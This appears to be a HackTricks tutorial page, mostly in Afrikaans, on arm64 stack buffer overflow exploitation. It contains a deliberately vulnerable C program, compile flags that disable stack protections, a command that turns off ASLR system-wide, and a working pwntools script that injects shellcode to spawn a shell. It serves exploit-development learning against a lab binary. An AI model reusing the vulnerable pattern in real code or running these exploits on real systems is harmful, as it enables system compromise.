Stack Shellcode - arm64

Ondersteun HackTricks

Vind 'n inleiding tot arm64 in:

Introduction to ARM64v8

Code

#include <stdio.h>
#include <unistd.h>

void vulnerable_function() {
char buffer[64];
read(STDIN_FILENO, buffer, 256); // <-- bof vulnerability
}

int main() {
vulnerable_function();
return 0;
}

Compile sonder pie, canary en nx:

clang -o bof bof.c -fno-stack-protector -Wno-format-security -no-pie -z execstack

Geen ASLR & Geen kanarie - Stap Oorloop

Om ASLR te stop, voer in:

echo 0 | sudo tee /proc/sys/kernel/randomize_va_space

Om die offset van die bof te kry, kyk na hierdie skakel.

Exploit:

from pwn import *

# Load the binary
binary_name = './bof'
elf = context.binary = ELF(binary_name)

# Generate shellcode
shellcode = asm(shellcraft.sh())

# Start the process
p = process(binary_name)

# Offset to return address
offset = 72

# Address in the stack after the return address
ret_address = p64(0xfffffffff1a0)

# Craft the payload
payload = b'A' * offset + ret_address + shellcode

print("Payload length: "+ str(len(payload)))

# Send the payload
p.send(payload)

# Drop to an interactive session
p.interactive()

Die enigste "kompleks" ding om hier te vind, sou die adres in die stapel wees om te bel. In my geval het ek die ontploffing gegenereer met die adres wat met gdb gevind is, maar toe dit ontplof is, het dit nie gewerk nie (omdat die stapeladres 'n bietjie verander het).

Ek het die gegenereerde core-lêer (gdb ./bog ./core) oopgemaak en die werklike adres van die begin van die shellcode nagegaan.

Support HackTricks

Last updated